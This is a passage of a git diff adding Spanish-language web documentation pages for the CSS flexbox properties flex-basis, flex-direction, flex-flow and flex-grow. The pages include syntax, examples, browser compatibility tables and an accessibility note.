+   <td>{{SpecName("CSS Grid", "#valdef-grid-template-columns-fit-content", "fit-content()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Define la función cuando es usada como un tamaño de track.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("css.properties.grid-template-columns.fit-content")}}</p>
+
+<p> </p>
diff --git a/files/es/web/css/flex-basis/index.html b/files/es/web/css/flex-basis/index.html
new file mode 100644
index 0000000000..726241615a
--- /dev/null
+++ b/files/es/web/css/flex-basis/index.html
@@ -0,0 +1,280 @@
+---
+title: flex-basis
+slug: Web/CSS/flex-basis
+tags:
+  - CSS
+  - Cajas Flexibles de CSS
+  - Propiedad de CSS
+translation_of: Web/CSS/flex-basis
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>flex-basis</code></strong> especifíca la base flexible, la cual es el <strong>tamaño inicial </strong>de un elemento flexible. Ésta propiedad determina el tamaño de una caja de contenidos a no ser que se haya especificado de otra forma usando {{Cssxref("box-sizing")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css notranslate">/* Especificar &lt;'width'&gt; */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* Palabras clave de dimensionamiento intrínseco */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* Tamaño automático basado en el contenido del elemento flexible */
+flex-basis: content;
+
+/* Global values */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Definido por un número seguido de una unidad absoluta tal como <code>px</code>, <code>mm</code> o <code>pt</code>, o un porcentaje del tamaño principal de un contenedor flexible padre. Los valores negativos no son válidos.</dd>
+ <dt><code>content</code></dt>
+ <dd>Indica el dimensionamiento automático, basado en el contenido del elemento flexible.</dd>
+ <dd>
+ <div class="note"><strong>Nota: </strong>Tenga en cuenta que éste valor no fue presentado en el lanzamiento inicial del Diseño de Caja Flexible, así que no será soportado por algunas implementaciones antiguas. El efecto equivalente puede tenerlo usando <code>auto</code> junto con un tamaño principal (<a href="https://drafts.csswg.org/css2/visudet.html#propdef-width">width</a> o <a href="https://drafts.csswg.org/css2/visudet.html#propdef-height">height</a>) en auto.</div>
+
+ <div class="note">
+ <p id="comment_text_0"><strong>Nota:</strong> Breve historia</p>
+
+ <ul>
+  <li>Originalmente, "flex-basis:auto" significa "observa mi propiedad width o height".</li>
+  <li>Después, flex-basis:auto fue cambiado a automatic-sizing, y fue introducido "main-size" como palabra clave "observa mi propiedad width o height". Ésto fue implementado en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>bug 1032922</a>.</li>
+  <li>Después, ese cambio fue revertido en <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>bug 1093316</a>, y nuevamente "auto" significa "observa mi propiedad width o height"; y se está introduciendo una nueva palabra clave 'content' para provocar un dimensionamiento automático. ({{bug("1105111")}} incluye la inclusión de dicha palabra clave).</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;ul class="container"&gt;
+  &lt;li class="flex flex1"&gt;1: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex2"&gt;2: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex3"&gt;3: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex4"&gt;4: flex-basis test&lt;/li&gt;
+  &lt;li class="flex flex5"&gt;5: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;ul class="container"&gt;
+  &lt;li class="flex flex6"&gt;6: flex-basis test&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.container {
+  font-family: arial, sans-serif;
+  margin: 0;
+  padding: 0;
+  list-style-type: none;
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.flex {
+  background: #6AB6D8;
+  padding: 10px;
+  margin-bottom: 50px;
+  border: 3px solid #2E86BB;
+  color: white;
+  font-size: 20px;
+  text-align: center;
+  position: relative;
+}
+
+.flex:after {
+  position: absolute;
+  z-index: 1;
+  left: 0;
+  top: 100%;
+  margin-top: 10px;
+  width: 100%;
+  color: #333;
+  font-size: 18px;
+}
+
+.flex1 {
+  flex-basis: auto;
+}
+
+.flex1:after {
+  content: 'auto';
+}
+
+.flex2 {
+  flex-basis: -webkit-max-content;
+  flex-basis: -moz-max-content;
+  flex-basis: max-content;
+}
+
+.flex2:after {
+  content: 'max-content';
+}
+
+.flex3 {
+  flex-basis: -webkit-min-content;
+  flex-basis: -moz-min-content;
+  flex-basis: min-content;
+}
+
+.flex3:after {
+  content: 'min-content';
+}
+
+.flex4 {
+  flex-basis: -webkit-fit-content;
+  flex-basis: -moz-fit-content;
+  flex-basis: fit-content;
+}
+
+.flex4:after {
+  content: 'fit-content';
+}
+
+.flex5 {
+   flex-basis: content;
+}
+
+.flex5:after {
+  content: 'content';
+}
+
+.flex6 {
+  flex-basis: -webkit-fill-available;
+  flex-basis: -moz-available;
+  flex-basis: fill;
+}
+
+.flex6:after {
+  content: 'fill/-webkit-fill-available/-moz-available';
+}
+</pre>
+
+<h3 id="Resultados">Resultados</h3>
+
+<p>{{EmbedLiveSample('Example', '860', '360', '', 'Web/CSS/flex-basis')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#propdef-flex-basis', 'flex-basis')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Base</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>12</td>
+   <td>12.10</td>
+   <td>7.0{{property_prefix("-webkit")}}<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>auto</code></td>
+   <td>{{CompatGeckoDesktop("18.0")}}</td>
+   <td>21.0</td>
+   <td>11</td>
+   <td>12</td>
+   <td>12.10</td>
+   <td>7.0{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Para acivar el soporte de caja flexible en Firefox 18 y 19, el usuario debe cambiar en preferencias about:config  en "layout.css.flexbox.enabled" a <code>true</code>. Firefox soporta flexbox multi-línea desde Firefox 28.</p>
+
+<p>[2] Cuando no se especifíca <code>flex-basis</code> como <code>auto</code>, Internet Explorer 10-11 (pero no 12+) siempre usa el box model mediante la propiedad <code>content-box</code> para calcular el tamaño de un elemento flexible, incluso si se aplica al elemento la propiedad <a href="/en-US/docs/Web/CSS/box-sizing"><code>box-sizing: border-box</code></a>. Ver <a href="https://github.com/philipwalton/flexbugs#7-flex-basis-doesnt-account-for-box-sizingborder-box">Flexbug #7</a> para más información.</p>
+
+<p>[3] Ver <a href="https://developer.apple.com/library/iad/releasenotes/General/WhatsNewInSafari/Articles/Safari_7_0.html">Safari 7.0</a>.</p>
+
+<p>[4] Ver {{bug("1105111")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+ <li>{{cssxref("width")}}</li>
+</ul>
diff --git a/files/es/web/css/flex-direction/index.html b/files/es/web/css/flex-direction/index.html
new file mode 100644
index 0000000000..82726b33b6
--- /dev/null
+++ b/files/es/web/css/flex-direction/index.html
@@ -0,0 +1,158 @@
+---
+title: flex-direction
+slug: Web/CSS/flex-direction
+tags:
+  - CCS
+  - Cajas Flexibles CSS
+  - Propiedad CSS
+  - Referencia
+  - flexbox
+translation_of: Web/CSS/flex-direction
+---
+<p>{{CSSRef}}</p>
+
+<p><span lang="es"><span class="hps">La propiedad</span> <span class="hps">CSS</span> <code><strong><span class="atn hps">flex-</span><span>direction</span></strong></code><span> especifica</span> cómo colocar los objetos flexibles <span class="hps">en el contenedor</span> <span class="hps">flexible</span> <span class="hps">definiendo el eje</span> <span class="hps">principal y</span> <span class="hps">la dirección</span> <span class="atn hps">(</span><span>normal o al revés</span><span>)</span><span>.</span></span></p>
+
+<p>{{EmbedInteractiveExample("pages/css/flex-direction.html")}}</p>
+
+<p><span lang="es"><span class="hps">Tenga en cuenta que</span> <span class="hps">el</span> <span class="hps">valor de</span> <code>row </code><span class="hps">y  <code>row-reverse</code></span> <span class="hps">se verán afectados por</span> <span class="hps">la direccionalidad</span> <span class="hps">del contenedor</span> <span class="hps">flexible.</span> <span class="hps">Si</span> <span class="hps">su atributo</span> <code>dir </code><span class="hps">es</span> <code>ltr</code>, <code>row</code><span class="hps"> representa</span> <span class="hps">el eje horizontal</span> <span class="hps">orientado</span> <span class="hps">de  izquierda</span> <span class="hps">a derecha,</span> <span class="hps">y <code>row-reverse</code></span> <span class="hps">desde la derecha</span> <span class="hps">hacia la izquierda;</span> <span class="hps">si el atributo</span> <code>dir </code><span class="hps">es</span> <code>rtl</code>, <code>row </code><span class="hps">representa</span> <span class="hps">el</span> <span class="hps">eje orientado</span> <span class="hps">de derecha</span> <span class="hps">a izquierda</span><span>,</span> <span class="hps">y  <code>row-reverse</code></span> <span class="hps">de izquierda a</span> <span class="hps">derecha.</span></span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* La dirección del texto se presenta en una línea */</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> row<span class="punctuation token">;</span>
+
+<span class="comment token">/* Como &lt;row&gt;, pero al revés */</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> row-reverse<span class="punctuation token">;</span>
+
+<span class="comment token">/* La dirección en la que se apilas las líneas de texto */</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> column<span class="punctuation token">;</span>
+
+<span class="comment token">/* Como &lt;column&gt;, pero al revés */</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> column-reverse<span class="punctuation token">;</span>
+
+<span class="comment token">/* Valores globales */</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">flex-direction</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Se aceptan los siguientes</span> <span class="hps">valores:</span></span></p>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>El eje principal del contenedor flexible está definido para ser el mismo que la dirección del texto. Los <strong>puntos principales de inicio y final</strong> son los mismos que la dirección del contenido.</dd>
+ <dt><code>row-reverse</code></dt>
+ <dd>
+ <p>Se comporta igual que <code>row</code> pero los <strong>puntos principales de inicio</strong> y <strong>final</strong> son intercambiados.</p>
+ </dd>
+ <dt><code>column</code></dt>
+ <dd>El eje principal del contenedor flexible es el mismo que el eje del bloque. Los <strong>puntos principales de inicio y final</strong> son los mismos que los <strong>puntos de antes y después</strong> del modo escritura.</dd>
+ <dt><code>column-reverse</code></dt>
+ <dd>Se comporta igual que <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">column</span></font> pero los <strong>puntos principales de inicio</strong> y <strong>final</strong> son intercambiados.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h4</span><span class="punctuation token">&gt;</span></span>Esto es un Column-Reverse<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h4</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>content<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>red<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>A<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>lightblue<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>B<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>yellow<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>C<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h4</span><span class="punctuation token">&gt;</span></span>Esto es un Row-Reverse<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h4</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>content1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box1<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>red<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>A<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box1<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>lightblue<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>B<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box1<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">background-color</span><span class="punctuation token">:</span>yellow<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>C<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token"><span class="id token">#content</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">200</span>px<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">200</span>px<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span>px solid <span class="hexcode token">#c3c3c3</span><span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> -webkit-flex<span class="punctuation token">;</span>
+  <span class="property token">-webkit-flex-direction</span><span class="punctuation token">:</span> column-reverse<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span>
+  <span class="property token">flex-direction</span><span class="punctuation token">:</span> column-reverse<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.box</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="id token">#content1</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">200</span>px<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">200</span>px<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span>px solid <span class="hexcode token">#c3c3c3</span><span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> -webkit-flex<span class="punctuation token">;</span>
+  <span class="property token">-webkit-flex-direction</span><span class="punctuation token">:</span> row-reverse<span class="punctuation token">;</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span>
+  <span class="property token">flex-direction</span><span class="punctuation token">:</span> row-reverse<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.box1</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '300', '', 'Web/CSS/flex-direction') }}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Si utilizas <code>flex-direction</code> con un valor de <code>row-reverse</code> o <code>column-reverse</code> en elementos que necesitan foco (como botones) el orden de visualización será distinto al orden el DOM, por lo que los usuarios de lectores de pantalla no verán reflejado el mismo orden de los elementos que un usuario vidente. Para más información (en inglés):</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/" rel="noopener">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a class="external external-icon" href="http://adrianroselli.com/2015/09/source-order-matters.html" rel="noopener">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a class="external external-icon" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html" rel="noopener">Understanding Success Criterion 1.3.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specificaciones">Specificaciones</h2>
+
+
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>
+    <p>Comentario</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox', '#flex-direction', 'flex-direction') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{Compat("css.properties.flex-direction")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Guía de CSS Flexbox: <em><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Conceptos básicos de Flexbox</a></em></li>
+ <li>Guía de CSS Flexbox: <em><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordenar items flex</a></em></li>
+</ul>
diff --git a/files/es/web/css/flex-flow/index.html b/files/es/web/css/flex-flow/index.html
new file mode 100644
index 0000000000..8d22dbf764
--- /dev/null
+++ b/files/es/web/css/flex-flow/index.html
@@ -0,0 +1,135 @@
+---
+title: flex-flow
+slug: Web/CSS/flex-flow
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/flex-flow
+---
+<div>{{ CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-flow</code></strong>  es una propiedad atajo para las propiedades individuales <code>flex-direction</code> y <code>flex-wrap</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Para más propiedades e información ve <a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Utilizando cajas flexibles CSS</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* flex-flow: &lt;'flex-direction'&gt; */
+flex-flow: row;
+flex-flow: row-reverse;
+flex-flow: column;
+flex-flow: column-reverse;
+
+/* flex-flow: &lt;'flex-wrap'&gt; */
+flex-flow: nowrap;
+flex-flow: wrap;
+flex-flow: wrap-reverse;
+
+/* flex-flow: &lt;'flex-direction'&gt; and &lt;'flex-wrap'&gt; */
+flex-flow: row nowrap;
+flex-flow: column wrap;
+flex-flow: column-reverse wrap-reverse;
+
+/* valores globales */
+flex-flow: inherit;
+flex-flow: initial;
+flex-flow: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Ve <a href="/en-US/docs/CSS/flex-direction" title="en-US/docs/CSS/flex-direction"><code>flex-direction</code></a> y <a href="/en-US/docs/CSS/flex-wrap" title="flex-wrap"><code>flex-wrap</code></a> para más detalles de los valores.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css;highlight:3">element {
+  /* Main-axis es la dirección de bloque con main-start y main-end opuesto. Los artículos flex se distribuyen en múltiples líneas */
+  flex-flow: column-reverse wrap;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Flexbox','#flex-flow','flex-flow') }}</td>
+   <td>{{ Spec2('CSS3 Flexbox') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>28.0</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>6.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>28.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>11</td>
+   <td>12.10</td>
+   <td>7.1{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Utilizando cajas flexibles CSS</a></li>
+</ul>
diff --git a/files/es/web/css/flex-grow/index.html b/files/es/web/css/flex-grow/index.html
new file mode 100644
index 0000000000..0e1e47f8b7
--- /dev/null
+++ b/files/es/web/css/flex-grow/index.html
@@ -0,0 +1,194 @@
+---
+title: flex-grow
+slug: Web/CSS/flex-grow
+tags:
+  - CSS
+  - Elementos flexibles
+  - Propiedades CSS
+translation_of: Web/CSS/flex-grow
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>flex-grow</code></strong> de <a href="/en-US/docs/Web/CSS">CSS</a> especifica el factor de crecimiento de un elemento flexible (que tiene asignado display:flex), en su dirección principal. El factor de crecimiento especifica qué cantidad del espacio restante dentro del contenedor flexible, debería ocupar el item en cuestión.</p>
+
+<p>La dirección principal puede ser la altura o el ancho del elemento, dependiendo del valor de {{cssxref("flex-direction")}}. </p>
+
+<p>El espacio restante es el tamaño del contenedor flexible menos el tamaño de todos los elementos flexibles juntos. Si todos los ítems dentro del contenedor tienen el mismo factor de crecimiento, todos los elementos reciben la misma cantidad del espacio restante. De lo contrario, el espacio restante se distribuye en función de los diferentes factores de crecimientos de cada item.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Usando las cajas flexibles en CSS</a> para más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* &lt;number&gt; valores */
+flex-grow: 3;
+flex-grow: 0.6;
+
+/* Valores globales */
+flex-grow: inherit;
+flex-grow: initial;
+flex-grow: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Ver {{cssxref("&lt;number&gt;")}}. Los valores negativos no son válidos.</dd>
